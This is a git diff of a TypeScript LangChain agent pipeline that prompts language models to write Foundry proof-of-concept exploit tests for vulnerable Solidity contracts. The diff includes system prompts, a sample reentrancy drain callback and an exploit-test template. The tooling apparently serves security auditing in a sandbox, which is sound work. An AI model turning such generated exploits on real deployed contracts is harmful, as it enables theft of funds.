12
- const finalState = await testerAgent.invoke({ report }, { recursionLimit: 100 });
13
-
14
- const result: PoCResult = {
15
- reportId: report.id,
16
- status: finalState.status === "running" ? "failed" : finalState.status,
17
- solidityCode: finalState.pocCode,
18
- executionLogs: finalState.executionLogs,
19
- iterations: finalState.iterations,
20
- };
21
-
22
- console.log(`[runPoCGenerator] Concluído — status=${result.status}, iterações=${result.iterations}`);
23
- return result;
24
- }
25
-
26
- export type { VulnerabilityReport, PoCResult, Finding, OracleContext } from "./types.js";
27
- export { testerAgent } from "./agent.js";
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
src/agents/tester/nodes.ts DELETED
@@ -1,242 +0,0 @@
1
- import { SystemMessage, HumanMessage } from "@langchain/core/messages";
2
- import { PoCState } from "./state.js";
3
- import {
4
- INFRASTRUCTURE_PROMPT,
5
- INFRA_FIX_PROMPT,
6
- EXPLOIT_INJECTION_PROMPT,
7
- EXPLOIT_FIX_PROMPT
8
- } from "./prompts/system.js";
9
- import { extractSolidity } from "./utils/extractSolidity.js";
10
- import { createLLM } from "../../config/llm.ts";
11
- import { createSearchCodebaseTool, createReadFileTool } from "./tools/codebaseTools.js";
12
- import { AIMessage, ToolMessage } from "@langchain/core/messages";
13
-
14
- // Models
15
- const smartLlm = createLLM(undefined, "google/gemini-3-flash-preview");
16
- const fastLlm = createLLM(undefined, "google/gemini-3.1-flash-lite");
17
-
18
- // --- INFRASTRUCTURE LOOP ---
19
-
20
- export async function generateInfrastructureNode(state: PoCState): Promise<Partial<PoCState>> {
21
- const { report, oracleContext, executionLogs, iterations, lastError } = state;
22
- const isRetry = !!lastError;
23
-
24
- let systemPrompt = INFRASTRUCTURE_PROMPT.replace("{TARGET_NAME}", report.affectedContract.name);
25
- let userMessage = "";
26
-
27
- if (!isRetry) {
28
- userMessage = `Please generate the Template.
29
-
30
- ### Scaffold:
31
- \`\`\`solidity
32
- ${oracleContext!.solidityScaffold}
33
- \`\`\`
34
-
35
- ### Remappings:
36
- \`\`\`
37
- ${oracleContext!.projectRemappings}
38
- \`\`\`
39
-
40
- ### Import Example:
41
- \`\`\`solidity
42
- ${oracleContext!.projectTestImports}
43
- \`\`\``;
44
- } else {
45
- systemPrompt = INFRA_FIX_PROMPT.replace("{ERROR_DETAILS}", lastError ?? "");
46
- userMessage = `The template failed to compile or execute.
47
-
48
- ### Previous Template:
49
- \`\`\`solidity
50
- ${state.templateCode}
51
- \`\`\`
52
-
53
- Fix the issues and return the updated template. Ensure the target is actually instantiated!`;
54
- }
55
-
56
- console.log(`[infraNode] Generating template... Retry: ${isRetry}`);
57
-
58
- const sandboxDir = state.report.customSandboxDir || "./sandbox";
59
- const searchTool = createSearchCodebaseTool(sandboxDir);
60
- const readTool = createReadFileTool(sandboxDir);
61
- const tools = [searchTool, readTool];
62
- const llmWithTools = fastLlm.bindTools(tools);
63
-
64
- const messages: any[] = [
65
- new SystemMessage(systemPrompt),
66
- new HumanMessage(userMessage)
67
- ];
68
-
69
- let iterationsInLoop = 0;
70
- const maxIterations = 5;
71
- let rawContent = "";
72
-
73
- while (iterationsInLoop < maxIterations) {
74
- console.log(`[infraNode] ReAct loop iteration ${iterationsInLoop + 1}`);
75
- const response = await llmWithTools.invoke(messages);
76
- messages.push(response);
77
-
78
- if (response.tool_calls && response.tool_calls.length > 0) {
79
- for (const toolCall of response.tool_calls) {
80
- let toolResult = "";
81
- try {
82
- if (toolCall.name === "searchCodebase") {
83
- toolResult = await searchTool.invoke(toolCall.args);
84
- } else if (toolCall.name === "readFile") {
85
- toolResult = await readTool.invoke(toolCall.args);
86
- } else {
87
- toolResult = "Unknown tool.";
88
- }
89
- } catch (e: any) {
90
- toolResult = `Error executing tool: ${e.message}`;
91
- }
92
-
93
- messages.push(new ToolMessage({
94
- tool_call_id: toolCall.id!,
95
- name: toolCall.name,
96
- content: toolResult,
97
- }));
98
- }
99
- } else {
100
- rawContent = response.content as string;
101
- break;
102
- }
103
- iterationsInLoop++;
104
- }
105
-
106
- if (!rawContent) {
107
- const lastMsg = messages[messages.length - 1];
108
- rawContent = (lastMsg instanceof AIMessage && typeof lastMsg.content === 'string')
109
- ? lastMsg.content
110
- : `// [LLM_ERROR] Reached max tool iterations without returning final code.`;
111
- }
112
- let templateCode = "";
113
- try {
114
- templateCode = extractSolidity(rawContent);
115
- } catch (e: any) {
116
- // If extraction fails (e.g., safety refusal), return a mock invalid file
117
- templateCode = `// [LLM_REFUSAL_OR_ERROR] ${e.message}\n// Raw Output: ${rawContent.slice(0, 200)}`;
118
- }
119
-
120
- return {
121
- templateCode,
122
- pocCode: templateCode, // Temporarily treat template as poc to run compiler
123
- iterations: 1, // Overall
124
- infraIterations: 1
125
- };
126
- }
127
-
128
- // --- EXPLOIT LOOP ---
129
-
130
- export async function generateExploitNode(state: PoCState): Promise<Partial<PoCState>> {
131
- const { vulnerabilityAnalysis, templateCode, exploitBody, executionLogs, lastError, iterations } = state;
132
-
133
- // We transition from infra to exploit loop
134
- const isRetry = state.infrastructurePhase === false;
135
-
136
- let systemPrompt = EXPLOIT_INJECTION_PROMPT.replace("{TEMPLATE_CODE}", templateCode);
137
- let userMessage = "";
138
-
139
- if (!isRetry) {
140
- userMessage = `Please inject the exploit logic based on this analysis:
141
-
142
- ${vulnerabilityAnalysis}`;
143
- } else {
144
- systemPrompt = EXPLOIT_FIX_PROMPT
145
- .replace("{ERROR_DETAILS}", lastError ?? "")
146
- .replace("{EXPLOIT_BODY}", exploitBody);
147
- userMessage = `The exploit failed. Please rewrite the body of test_Exploit().`;
148
- }
149
-
150
- console.log(`[exploitNode] Generating hack... Retry: ${isRetry}`);
151
-
152
- const sandboxDir = state.report.customSandboxDir || "./sandbox";
153
- const searchTool = createSearchCodebaseTool(sandboxDir);
154
- const readTool = createReadFileTool(sandboxDir);
155
- const tools = [searchTool, readTool];
156
- const llmWithTools = smartLlm.bindTools(tools);
157
-
158
- const messages: any[] = [
159
- new SystemMessage(systemPrompt),
160
- new HumanMessage(userMessage)
161
- ];
162
-
163
- let iterationsInLoop = 0;
164
- const maxIterations = 5;
165
- let rawContent = "";
166
-
167
- while (iterationsInLoop < maxIterations) {
168
- console.log(`[exploitNode] ReAct loop iteration ${iterationsInLoop + 1}`);
169
- const response = await llmWithTools.invoke(messages);
170
- messages.push(response);
171
-
172
- if (response.tool_calls && response.tool_calls.length > 0) {
173
- for (const toolCall of response.tool_calls) {
174
- let toolResult = "";
175
- try {
176
- if (toolCall.name === "searchCodebase") {
177
- toolResult = await searchTool.invoke(toolCall.args);
178
- } else if (toolCall.name === "readFile") {
179
- toolResult = await readTool.invoke(toolCall.args);
180
- } else {
181
- toolResult = "Unknown tool.";
182
- }
183
- } catch (e: any) {
184
- toolResult = `Error executing tool: ${e.message}`;
185
- }
186
-
187
- messages.push(new ToolMessage({
188
- tool_call_id: toolCall.id!,
189
- name: toolCall.name,
190
- content: toolResult,
191
- }));
192
- }
193
- } else {
194
- rawContent = response.content as string;
195
- break;
196
- }
197
- iterationsInLoop++;
198
- }
199
-
200
- if (!rawContent) {
201
- const lastMsg = messages[messages.length - 1];
202
- rawContent = (lastMsg instanceof AIMessage && typeof lastMsg.content === 'string')
203
- ? lastMsg.content
204
- : `// [LLM_ERROR] Reached max tool iterations without returning final code.`;
205
- }
206
-
207
- // --- GUARDRAIL: Catch comments immediately before Foundry ---
208
- // The system prompts forbid // and /*. If the LLM still generates them (except SPDX/INJECT),
209
- // we catch it here to save a slow Foundry roundtrip.
210
- let newExploitBody = "";
211
- try {
212
- newExploitBody = extractSolidity(rawContent);
213
- const codeLines = newExploitBody.split('\n');
214
- const hasIllegalComments = codeLines.some(line => {
215
- const t = line.trim();
216
- if (t.startsWith("// SPDX-License-Identifier:") || t.includes("// INJECT_HACK")) return false;
217
- return t.includes("//") || t.includes("/*");
218
- });
219
-
220
- if (hasIllegalComments) {
221
- throw new Error("[GUARDRAIL_ERROR] You added a comment in the code. This is STRICTLY FORBIDDEN. Write the actual code instead of comments. Do NOT use '//' or '/*' (except for SPDX).");
222
- }
223
- } catch (e: any) {
224
- // Return the generated code + error so the reflection loop catches it
225
- return {
226
- pocCode: rawContent, // pass raw so reflect node can see the mistake
227
- lastError: e.message,
228
- exploitIterations: state.exploitIterations + 1
229
- };
230
- }
231
-
232
- // The Exploit LLM now outputs the FULL file
233
- const pocCode = newExploitBody;
234
-
235
- return {
236
- exploitBody: newExploitBody,
237
- pocCode: pocCode, // This is the final runnable file
238
- infrastructurePhase: false, // Transition permanently to exploit loop
239
- iterations: state.iterations + 1,
240
- exploitIterations: state.exploitIterations + 1
241
- };
242
- }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
src/agents/tester/nodes/oracle.ts ADDED
@@ -0,0 +1,116 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import fs from "fs/promises";
2
+ import path from "path";
3
+ import { PoCState } from "../state.js";
4
+ import { generateLocalScaffold } from "../tools/scaffoldGenerator.js";
5
+ import { extractConstructor } from "../utils/parserUtils.js";
6
+ import { analyzeSolidityFile } from "../../auditor/tools/solidity-analyzer-tool.js";
7
+ import { extractProjectContext } from "../utils/projectContextExtractor.js";
8
+ import { createMissingDependencyStubs } from "../utils/dependencyStubber.js";
9
+ import { OracleContext } from "../types.js";
10
+
11
+ export async function oracleNode(state: PoCState): Promise<Partial<PoCState>> {
12
+ console.log("[oracleNode] gerando scaffold para:", state.report.title);
13
+
14
+ const solidityScaffold = generateLocalScaffold(state.report);
15
+
16
+ const constructorInfo = extractConstructor(state.report.affectedContract.sourceCode, state.report.affectedContract.name);
17
+
18
+ console.log("[oracleNode] analisando API do contrato e helpers de teste...");
19
+ const targetContractAPI = await analyzeSolidityFile(state.report.affectedContract.sourceCode, "short");
20
+
21
+ let referenceTestHelpers = "";
22
+ if (state.report.referenceTestCode) {
23
+ referenceTestHelpers = await analyzeSolidityFile(state.report.referenceTestCode, "short");
24
+ }
25
+
26
+ let projectRemappings = "";
27
+ let projectTestImports = "";
28
+ let projectTestFilePath: string | null = null;
29
+ if (state.report.customSandboxDir) {
30
+ console.log("[oracleNode] extracting project context (remappings, test imports)...");
31
+ try {
32
+ const projectCtx = await extractProjectContext(state.report.customSandboxDir);
33
+ projectRemappings = projectCtx.remappings;
34
+ projectTestImports = projectCtx.existingTestImports;
35
+ projectTestFilePath = projectCtx.existingTestFilePath;
36
+ } catch (e) {
37
+ console.warn("[oracleNode] could not extract project context:", (e as Error).message);
38
+ }
39
+
40
+ try {
41
+ const testDir = path.join(state.report.customSandboxDir, "test");
42
+ const testEntries = await fs.readdir(testDir, { withFileTypes: true }).catch(() => []);
43
+ let removed = 0;
44
+ for (const entry of testEntries) {
45
+ if (entry.isFile() && entry.name.endsWith(".t.sol") && entry.name !== "Exploit.t.sol") {
46
+ await fs.unlink(path.join(testDir, entry.name));
47
+ removed++;
48
+ }
49
+ }
50
+ } catch (e) {
51
+ console.warn("[oracleNode] test cleanup failed:", (e as Error).message);
52
+ }
53
+
54
+ try {
55
+ await createMissingDependencyStubs(state.report.customSandboxDir);
56
+ } catch (e) {
57
+ console.warn("[oracleNode] stub creation failed:", (e as Error).message);
58
+ }
59
+ }
60
+
61
+ const oracleContext: OracleContext = {
62
+ solidityScaffold,
63
+ constructorInfo: constructorInfo?.parameters,
64
+ targetContractAPI,
65
+ referenceTestHelpers,
66
+ projectRemappings,
67
+ projectTestImports,
68
+ projectTestFilePath,
69
+ };
70
+
71
+ // DETERMINISTIC TEMPLATE GENERATION
72
+ const targetName = state.report.affectedContract.name;
73
+ let setupArgs = "";
74
+ if (constructorInfo?.parameters && Array.isArray(constructorInfo.parameters)) {
75
+ const params = constructorInfo.parameters.map((p: any) => p.type === "address" ? "address(this)" : "0").join(", ");
76
+ setupArgs = params;
77
+ }
78
+
79
+ // Parse projectTestImports to extract only the import paths if any
80
+ let imports = `import "forge-std/Test.sol";\nimport "forge-std/console.sol";`;
81
+ if (projectTestImports) {
82
+ imports += "\n" + projectTestImports;
83
+ }
84
+
85
+ // Use relative path for target based on report or assume src/
86
+ const targetFile = state.report.affectedContract.sourceFilePath ? `../${state.report.affectedContract.sourceFilePath}` : `../src/${targetName}.sol`;
87
+ imports += `\nimport { ${targetName} } from "${targetFile}";`;
88
+
89
+ const templateCode = `// SPDX-License-Identifier: UNLICENSED
90
+ pragma solidity ^0.8.0;
91
+
92
+ ${imports}
93
+
94
+ contract ExploitTest is Test {
95
+ ${targetName} target;
96
+ address constant ATTACKER = address(0xBEEF);
97
+
98
+ function setUp() public virtual {
99
+ target = new ${targetName}(${setupArgs});
100
+ vm.deal(ATTACKER, 100 ether);
101
+ require(address(target) != address(0), "Target must be deployed");
102
+ }
103
+
104
+ function test_Exploit() public {
105
+ // INJECT_HACK
106
+ }
107
+ }`;
108
+
109
+ console.log("[oracleNode] scaffold gerado, context built. Deterministic Template generated.");
110
+ return {
111
+ oracleContext,
112
+ templateCode,
113
+ pocCode: templateCode, // Sets initial state so foundry can try compiling it
114
+ infrastructurePhase: false // SKIPPING INFRA LOOP!
115
+ };
116
+ }
src/agents/tester/nodes/pocoAgent.ts ADDED
@@ -0,0 +1,114 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { HumanMessage, SystemMessage, AIMessage } from "@langchain/core/messages";
2
+ import { PoCState } from "../state.js";
3
+ import { pocoTools } from "../tools.js";
4
+ import { createLLM } from "../../../config/llm.js";
5
+
6
+ const MAX_STEPS = 30; // Max tool calls threshold
7
+ const MAX_COST_USD = 3.0; // Max cost threshold
8
+
9
+ // Initialize the model and bind tools
10
+ const model = createLLM().bindTools(pocoTools);
11
+
12
+ const POCO_SYSTEM_PROMPT = `You are an expert smart contract security testing specialist. Generate executable Proof-of-Concept (PoC) exploits demonstrating vulnerabilities using Foundry.
13
+
14
+ ## PoC Explainability
15
+ Write exploits as executable demonstrations that clearly prove the vulnerability. Include detailed comments documenting each attack step, the vulnerability being exploited, and why the exploit succeeds. The PoC must be self-explanatory to security auditors.
16
+
17
+ ## Vulnerability Analysis
18
+ Parse the vulnerability description (annotation) and analyze the vulnerability type, affected code sections, and potential impact. Analyze the contract logic to understand the root cause before developing exploits.
19
+
20
+ ## Testing Framework Guidelines
21
+ Use Foundry exclusively for testing. Implement proper \`setUp()\` functions with realistic contract states: i.e. initializing contracts with typical production values (reasonable token balances, realistic timestamps, standard protocol roles assigned). Utilize Foundry cheatcodes for test control: \`vm.prank()\` for identity switching, \`vm.deal()\` for ETH funding, \`vm.warp()\` for time manipulation, \`vm.expectRevert()\` for failure testing. Structure tests following Foundry conventions with clear test function names prefixed with \`test\`.
22
+
23
+ ## PoC Executability
24
+ Ensure all generated code compiles successfully with the specified Solidity version. Verify that tests pass (exploits vulnerability) when the vulnerability exists and fail when properly patched. Use \`smart_contract_compile\` and \`smart_contract_test\` to validate. Resolve all compilation errors, import issues, and version conflicts while preserving original contract logic.
25
+
26
+ ## Iterative Refinement
27
+ Debug compilation errors, test failures, and logical inconsistencies systematically using forge output and detailed error messages. For import path errors, use \`grep_search\` to find the correct pattern. Continuously improve until tests compile, execute successfully, and accurately demonstrate the vulnerability. If stuck on the same technical issue for >3 attempts, shift to a minimal working demonstration—proving the vulnerability exists matters more than perfect test coverage or setup complexity.
28
+
29
+ ## Exploit Soundness
30
+ Ensure exploits logically reflect the described vulnerability. The attack vector must accurately represent the security issue. Avoid false positives—exploits should fail if the vulnerability is fixed. Verify that the PoC demonstrates the actual impact described in the vulnerability description (annotation).
31
+
32
+ ## Exploit Quality
33
+ Keep PoCs minimal and focused. Write only the test file—never modify contracts under test or the original codebase. Reuse existing test infrastructure when available. Create helper contracts or mocks only when the exploit requires them. Avoid assumptions about undocumented contract behavior.`;
34
+
35
+ function calculateCost(inputTokens: number, outputTokens: number): number {
36
+ // Claude 3.5 Sonnet pricing: $3.00 / 1M input tokens, $15.00 / 1M output tokens
37
+ const inputCost = (inputTokens / 1_000_000) * 3.0;
38
+ const outputCost = (outputTokens / 1_000_000) * 15.0;
39
+ return inputCost + outputCost;
40
+ }
41
+
42
+ export async function pocoAgentNode(state: PoCState): Promise<Partial<PoCState>> {
43
+ let messages = state.messages || [];
44
+
45
+ // Check limits
46
+ if (state.toolCallCount >= MAX_STEPS) {
47
+ return {
48
+ status: "failed",
49
+ lastError: `Max tool calls (${MAX_STEPS}) exceeded.`,
50
+ };
51
+ }
52
+ if (state.totalCost >= MAX_COST_USD) {
53
+ return {
54
+ status: "failed",
55
+ lastError: `Max cost ($${MAX_COST_USD}) exceeded. Current cost: $${state.totalCost.toFixed(2)}`,
56
+ };
57
+ }
58
+
59
+ // If this is the first iteration, inject system prompt and task prompt
60
+ let initialMessages: any[] = [];
61
+ if (messages.length === 0) {
62
+ const sandboxDir = state.report.customSandboxDir || process.cwd();
63
+ const targetFile = state.report.affectedContract.sourceFilePath || state.report.affectedContract.name;
64
+ const desc = state.report.description || state.report.title;
65
+
66
+ // Original PoCo prompt
67
+ const taskPrompt = `Create a vulnerability exposing PoC forge test for the vulnerable contract at ${targetFile} using the vulnerability description: ${desc}. Use the write_file tool to save your PoC code to test/Exploit.t.sol. Write ONLY the test file, test ONLY the described vulnerability, and do NOT modify the original contract. Iterate on compilation, test, and logical errors using the smart_contract_compile and smart_contract_test tools. You are done when the test compiles and successfully demonstrates the vulnerability through passing assertions. Note: your execution sandbox is ${sandboxDir}. Ensure all commands target this directory.`;
68
+
69
+ initialMessages = [
70
+ new SystemMessage(POCO_SYSTEM_PROMPT),
71
+ new HumanMessage(taskPrompt)
72
+ ];
73
+ messages = initialMessages;
74
+ }
75
+
76
+ // Invoke model
77
+ console.log(`[pocoAgent] Invoking model (Steps: ${state.toolCallCount}/${MAX_STEPS}, Cost: $${state.totalCost.toFixed(2)})...`);
78
+ let response;
79
+ let runCost = 0;
80
+
81
+ let attempts = 0;
82
+ while (attempts < 3) {
83
+ try {
84
+ response = await model.invoke(messages, {
85
+ configurable: { sandboxDir: state.report.customSandboxDir || process.cwd() }
86
+ });
87
+
88
+ // Calculate costs
89
+ if (response.response_metadata?.tokenUsage) {
90
+ const usage: any = response.response_metadata.tokenUsage;
91
+ runCost = calculateCost(usage.promptTokens || usage.input_tokens || usage.prompt_tokens || 0, usage.completionTokens || usage.output_tokens || usage.completion_tokens || 0);
92
+ }
93
+ break; // Success, exit retry loop
94
+ } catch (err: any) {
95
+ attempts++;
96
+ console.log(`[pocoAgent] API Error (attempt ${attempts}): ${err.message}`);
97
+ if (attempts >= 3) {
98
+ return {
99
+ messages: [new HumanMessage(`Model API Error after 3 attempts: ${err.message}.`)],
100
+ status: "failed",
101
+ lastError: err.message
102
+ };
103
+ }
104
+ // Wait 10 seconds before retrying (in case of strict rate limits)
105
+ await new Promise(r => setTimeout(r, 10000));
106
+ }
107
+ }
108
+
109
+ return {
110
+ messages: [...initialMessages, response],
111
+ totalCost: runCost,
112
+ iterations: 1, // Add 1 to total iterations tracking
113
+ };
114
+ }
src/agents/tester/nodes/router.ts ADDED
@@ -0,0 +1,32 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { PoCState } from "../state.js";
2
+
3
+ export const CATEGORY_REENTRANCY = "REENTRANCY";
4
+ export const CATEGORY_ACCESS_CONTROL = "ACCESS_CONTROL";
5
+ export const CATEGORY_ARITHMETIC = "ARITHMETIC";
6
+ export const CATEGORY_LOGIC = "LOGIC";
7
+ export const CATEGORY_DEFAULT = "DEFAULT";
8
+
9
+ export async function routerNode(state: PoCState): Promise<Partial<PoCState>> {
10
+ console.log("[routerNode] Classifying vulnerability deterministically...");
11
+
12
+ const type = (state.report.type || "").toLowerCase();
13
+ const desc = (state.report.description || "").toLowerCase();
14
+
15
+ const combined = `${type} ${desc}`;
16
+
17
+ let category = CATEGORY_DEFAULT;
18
+
19
+ if (combined.includes("reentrancy") || combined.includes("re-entrancy") || combined.includes("fallback")) {
20
+ category = CATEGORY_REENTRANCY;
21
+ } else if (combined.includes("access control") || combined.includes("unauthorized") || combined.includes("onlyowner") || combined.includes("permission")) {
22
+ category = CATEGORY_ACCESS_CONTROL;
23
+ } else if (combined.includes("overflow") || combined.includes("underflow") || combined.includes("arithmetic") || combined.includes("math")) {
24
+ category = CATEGORY_ARITHMETIC;
25
+ } else if (combined.includes("logic") || combined.includes("validation") || combined.includes("bypass")) {
26
+ category = CATEGORY_LOGIC;
27
+ }
28
+
29
+ console.log(`[routerNode] Classified as: ${category}`);
30
+
31
+ return { vulnerabilityCategory: category };
32
+ }
src/agents/tester/prompts/system.ts DELETED
@@ -1,297 +0,0 @@
1
- export const SYSTEM_PROMPT = `You are an expert smart contract security testing specialist. Your mission is to generate executable Proof-of-Concept (PoC) exploits demonstrating vulnerabilities using Foundry.
2
-
3
- ## General Guidelines
4
- - Use Foundry exclusively.
5
- - Use \`vm.prank()\`, \`vm.deal()\`, \`vm.warp()\`, \`vm.expectRevert()\` as needed.
6
- - **NO PLACEHOLDER TESTS OR TAUTOLOGIES:** Never write a test that only contains \`assertTrue(true)\` or asserts a constant against a constant (e.g. \`assertEq(DEFAULT_ADMIN_ROLE, 0x00)\`). You MUST use concrete assertions to prove a STATE CHANGE caused by the exploit.
7
- - **NO MOCKS:** You must test the actual contract from the repository. Do not declare \`contract Mock\` in the test.
8
- - **Context Compliance:** Reuse existing imports and setup patterns found in the provided code/reference tests.
9
- - DO NOT rename \`test_Exploit()\`.
10
- `.trim();
11
-
12
- export const ANALYZE_VULNERABILITY_PROMPT = `You are an expert smart contract security analyst. Analyze the vulnerability in the following Solidity contract.
13
-
14
- Focus on understanding the root cause and the precise mechanism needed to trigger it in a Foundry test.
15
-
16
- Please provide a concise technical plan covering:
17
- 1. **Root cause**: What exactly is the bug at the code level?
18
- 2. **Trigger conditions**: What state must the contract be in? What parameters or roles are needed?
19
- 3. **Exploit steps**: Numbered, concrete step-by-step actions to trigger the vulnerability.
20
- 4. **Assertion**: What specific \`assertEq\` / \`assertGt\` / \`assertLt\` statement will prove the vulnerability exists AND would fail if the vulnerability were patched? (e.g., "assertGt(attacker.balance, initialBalance)" or "assertEq(owner, attacker)")
21
-
22
- Be precise and actionable. Your plan will be directly used to write Foundry test code.
23
- `.trim();
24
-
25
- export const POC_INITIAL_PROMPT = `You are an expert smart contract security tester. Based on the vulnerability analysis plan provided, generate a complete Foundry Proof of Concept (PoC) test file.
26
-
27
- ## CRITICAL IMPORT RULES
28
- - You MUST use the project's own import paths (see "Project Remappings" and "Import Pattern from Existing Test" if provided).
29
- - If remappings are provided (e.g., \`@openzeppelin/=lib/openzeppelin-contracts/\`), use them exactly as listed.
30
- - If an existing test shows \`import {Foo} from "project/Foo.sol"\`, follow that exact pattern.
31
- - If you are NOT sure about the import path for an external dependency, AVOID importing it. Use a minimal interface or mock instead.
32
- - The contract under test is already in the sandbox — use a relative import like \`import { ContractName } from "../src/ContractName.sol"\` unless remappings say otherwise.
33
-
34
- ## QUALITY RULES
35
- - The final assertion MUST prove the vulnerability. It should use assertEq, assertGt, assertLt, assertGe, assertLe, or assertNotEq with meaningful values.
36
- - NEVER write \`assertTrue(true)\` or \`assert(true)\`. This is an automatic failure.
37
- - The assertion must be specific enough that it would FAIL on a patched version of the contract.
38
- - Output ONLY a single \`\`\`solidity ... \`\`\` block with the complete file.
39
-
40
- ## FALLBACK STRATEGY
41
- If the contract has complex dependencies that are hard to mock, use this minimal approach:
42
- 1. Declare a minimal interface for the contract with only the functions you need.
43
- 2. Deploy the real contract by importing it directly (relative path).
44
- 3. Call the vulnerable function directly without complex setup.
45
- `.trim();
46
-
47
- export const POC_COMPILE_FIX_PROMPT = `The previous PoC test FAILED TO COMPILE. You must fix ALL compilation errors and return the complete corrected file.
48
-
49
- ## IMPORT ERROR STRATEGY (most common fix)
50
- If the error is about a missing source file or identifier not found:
51
- 1. Check the "Project Remappings" provided — use those exact paths.
52
- 2. Check the "Import Pattern from Existing Test" — copy those import statements exactly.
53
- 3. If you cannot find the right import path, REMOVE that import and replace it with a minimal interface:
54
- \`\`\`solidity
55
- interface IERC20 { function transfer(address to, uint256 amount) external returns (bool); }
56
- \`\`\`
57
- 4. NEVER guess an import path. Only use paths you can verify from the remappings or existing test.
58
-
59
- ## OTHER COMPILATION FIXES
60
- - Missing type members: declare a minimal struct/interface instead of importing the full library.
61
- - Visibility errors: check that you're calling public/external functions only.
62
- - Type mismatches: cast explicitly (e.g., \`uint256(value)\`, \`address(contract)\`).
63
- - ABI encoding errors: use \`abi.encodeWithSelector(Contract.func.selector, args)\`.
64
-
65
- ## STRICT RULE
66
- Return the FULL corrected Solidity file in a \`\`\`solidity\`\`\` block. Fix ALL errors in one pass.
67
- `.trim();
68
-
69
- export const POC_TEST_FIX_PROMPT = `The PoC compiled successfully but FAILED DURING EXECUTION (revert or assertion failure). Fix the test logic.
70
-
71
- ## REVERT DIAGNOSIS
72
- If the test reverted without a message:
73
- 1. The call order may be wrong — check what preconditions the contract requires.
74
- 2. A role/permission may be missing — use \`vm.prank(owner)\` to set up roles first.
75
- 3. The contract may need funding — use \`vm.deal(address(contract), amount)\`.
76
- 4. A previous transaction may have changed state — check ordering carefully.
77
- 5. **"call to non-contract address"**: The contract was not deployed yet — you must deploy it in setUp() first.
78
-
79
- ## ASSERTION FAILURE DIAGNOSIS
80
- If the assertion failed (values didn't match expected):
81
- 1. The exploit logic is incorrect — re-read the vulnerability description carefully.
82
- 2. The vulnerable code path may not be reached — trace with intermediate assertions.
83
- 3. The assertion values may be wrong — recalculate what the expected outcome should be.
84
-
85
- ## REENTRANCY PATTERN
86
- If testing a reentrancy vulnerability, add a callback to ExploitTest:
87
- \`\`\`solidity
88
- uint256 public reentrancyCount;
89
- uint256 public stolenAmount;
90
-
91
- receive() external payable {
92
- if (reentrancyCount < 3 && address(target).balance > 0) {
93
- reentrancyCount++;
94
- target.withdraw(/* same amount */);
95
- }
96
- stolenAmount += msg.value;
97
- }
98
- \`\`\`
99
- Then assert: \`assertGt(stolenAmount, initialDeposit, "Reentrancy drained more than deposited")\`
100
-
101
- ## UNCHECKED RETURN VALUE PATTERN
102
- If testing unchecked external call return values:
103
- \`\`\`solidity
104
- // The contract ignores the return value of an external call
105
- // You can demonstrate by causing the call to fail while the contract still proceeds
106
- bool callSucceeded = target.doExternalCall(params);
107
- // If the vulnerability is that a false return is ignored:
108
- assertFalse(callSucceeded, "External call returned false but was ignored");
109
- // Or show the state changed incorrectly:
110
- assertEq(target.state(), wrongValue, "State updated despite failed external call");
111
- \`\`\`
112
-
113
- ## MINIMAL VIABLE EXPLOIT RULE
114
- If after 2+ failed attempts you cannot get the full exploit to work:
115
- - Simplify to the most minimal version that demonstrates the bug.
116
- - A partial demonstration (e.g., wrong state, unauthorized access) is better than nothing.
117
- - Focus on the ASSERTION — it must prove the vulnerability exists.
118
-
119
- ## STRICT RULE
120
- Return the FULL corrected Solidity file in a \`\`\`solidity\`\`\` block. Fix ALL errors in one pass.
121
- `.trim();
122
-
123
- export const POC_MINIMAL_INTERFACE_PROMPT = `The PoC has failed to compile multiple times due to import errors. You MUST now use the MINIMAL INTERFACE STRATEGY.
124
-
125
- ## MANDATORY RULES — READ CAREFULLY
126
- 1. **REMOVE ALL EXTERNAL IMPORTS** — Do NOT import any library or contract except \`forge-std/Test.sol\`.
127
- 2. **DECLARE EVERYTHING INLINE** — Declare minimal interfaces for every external type you need:
128
-
129
- \`\`\`solidity
130
- // Example minimal interfaces — adapt to your contract
131
- interface ITargetContract {
132
- function vulnerableFunction(uint256 amount) external returns (bool);
133
- function balanceOf(address account) external view returns (uint256);
134
- function owner() external view returns (address);
135
- }
136
-
137
- interface IERC20 {
138
- function transfer(address to, uint256 amount) external returns (bool);
139
- function approve(address spender, uint256 amount) external returns (bool);
140
- function balanceOf(address account) external view returns (uint256);
141
- }
142
- \`\`\`
143
-
144
